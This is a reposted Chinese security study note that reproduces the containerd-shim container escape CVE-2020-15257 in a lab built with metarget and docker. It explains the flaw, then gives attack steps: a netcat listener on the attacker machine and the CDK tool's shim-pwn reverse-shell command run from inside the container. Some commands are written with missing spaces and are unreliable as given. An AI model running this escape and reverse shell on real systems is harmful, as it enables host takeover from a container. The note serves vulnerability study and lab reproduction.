|
环境搭建
metarget:
./metarget cnv install cve-2020-15257
启动漏洞环境:
./sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
场景介绍
Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共用一套Network namespace,(在network namespace中,网络设备、端口、套接字、网络协议栈、路由表、防火墙规则等都是独立的用来隔离网络环境),也就是说此时容器网络无隔离。
此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。
containerd-shim --是运行容器的载体,每一个容器都对应一个进程,起着守护进程的作用,保持所有的STDIN和STDOUT流是开启状态,且父进程为containerd。
漏洞复现
工具-CDK
https://github.com/cdk-team/CDK/releases/
步骤
通过命令是否能够查看套接字,判断其为host模式
cat/proc/net/unix|grep -a "containerd-shim"
将CDK传入容器
sudodocker cp cdk_linux_amd64 15257:/tmp
sudo docker exec -it 15257 bash
攻击机开启监听
nc-lvp port < cdk
切换到tmp路径下执行
./cdkrun shim-pwn reverse ip port
原文始发于微信公众号(Th0r安全):学习札记-漏洞复现-CVE-2020-15257
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论